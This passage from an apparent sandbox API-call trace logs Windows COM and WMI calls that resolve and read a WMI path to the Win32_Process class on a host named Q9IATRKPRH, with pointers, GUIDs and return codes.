wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0070.721] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0070.721] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0070.721] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0070.721] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0070.721] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0070.721] IUnknown:Release (This=0x111f638) returned 0x1 [0070.725] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1becffb0) returned 0x0 [0070.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becffb0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0070.725] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becffb0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea15b0) returned 0x0 [0070.725] WbemDefPath:IUnknown:Release (This=0x1becffb0) returned 0x0 [0070.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea15b0) returned 0x0 [0070.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0070.726] WbemDefPath:IUnknown:AddRef (This=0x1bea15b0) returned 0x3 [0070.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0070.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0070.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1becfd70) returned 0x0 [0070.726] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becfd70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.726] WbemDefPath:IUnknown:Release (This=0x1becfd70) returned 0x3 [0070.726] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0070.726] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0070.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0070.726] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x2 [0070.726] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x1 [0070.726] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0070.727] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0070.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea15b0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea15b0) returned 0x0 [0070.727] WbemDefPath:IUnknown:AddRef (This=0x1bea15b0) returned 0x3 [0070.727] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x2 [0070.727] WbemDefPath:IWbemPath:SetText (This=0x1bea15b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0070.727] IWbemClassObject:Get (in: This=0x11e8410, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0070.727] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0070.727] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0070.727] IWbemClassObject:Get (in: This=0x11e8410, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0070.727] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0070.728] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0070.728] IWbemClassObject:Get (in: This=0x11e8410, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0070.728] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0070.728] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0070.728] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0070.728] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0070.728] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0070.728] IUnknown:Release (This=0x111f638) returned 0x1 [0070.730] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1becfa30) returned 0x0 [0070.731] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becfa30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0070.731] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becfa30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea14f0) returned 0x0 [0070.731] WbemDefPath:IUnknown:Release (This=0x1becfa30) returned 0x0 [0070.731] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea14f0) returned 0x0 [0070.731] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0070.731] WbemDefPath:IUnknown:AddRef (This=0x1bea14f0) returned 0x3 [0070.731] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0070.731] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0070.731] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1becfbf0) returned 0x0 [0070.732] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becfbf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.732] WbemDefPath:IUnknown:Release (This=0x1becfbf0) returned 0x3 [0070.732] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0070.732] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0070.732] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0070.732] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x2 [0070.732] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x1 [0070.732] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0070.732] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0070.732] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea14f0) returned 0x0 [0070.732] WbemDefPath:IUnknown:AddRef (This=0x1bea14f0) returned 0x3 [0070.732] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x2 [0070.732] WbemDefPath:IWbemPath:SetText (This=0x1bea14f0, uMode=0x4, pszPath="") returned 0x0 [0070.732] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0070.732] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0070.732] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0070.732] IUnknown:Release (This=0x111f638) returned 0x1 [0070.734] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1becfa30) returned 0x0 [0070.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becfa30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0070.735] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becfa30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1430) returned 0x0 [0070.735] WbemDefPath:IUnknown:Release (This=0x1becfa30) returned 0x0 [0070.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1430) returned 0x0 [0070.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0070.735] WbemDefPath:IUnknown:AddRef (This=0x1bea1430) returned 0x3 [0070.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0070.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0070.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1becfb70) returned 0x0 [0070.735] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becfb70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.736] WbemDefPath:IUnknown:Release (This=0x1becfb70) returned 0x3 [0070.736] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0070.736] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0070.736] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0070.736] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x2 [0070.736] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x1 [0070.736] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0070.736] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0070.736] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1430) returned 0x0 [0070.736] WbemDefPath:IUnknown:AddRef (This=0x1bea1430) returned 0x3 [0070.736] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x2 [0070.736] WbemDefPath:IWbemPath:SetText (This=0x1bea1430, uMode=0x4, pszPath="") returned 0x0 [0070.736] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1430, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0070.736] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea14f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0070.736] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea1430, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0070.736] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1430, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0070.736] WbemDefPath:IWbemPath:SetServer (This=0x1bea1430, Name="Q9IATRKPRH") returned 0x0 [0070.736] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0070.737] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0070.737] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0070.737] IUnknown:Release (This=0x111f638) returned 0x1 [0070.739] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1becfb90) returned 0x0 [0070.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becfb90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0070.739] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becfb90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea12b0) returned 0x0 [0070.739] WbemDefPath:IUnknown:Release (This=0x1becfb90) returned 0x0 [0070.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea12b0) returned 0x0 [0070.739] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0070.739] WbemDefPath:IUnknown:AddRef (This=0x1bea12b0) returned 0x3 [0070.740] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0070.740] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0070.740] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1becfbd0) returned 0x0 [0070.740] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becfbd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | 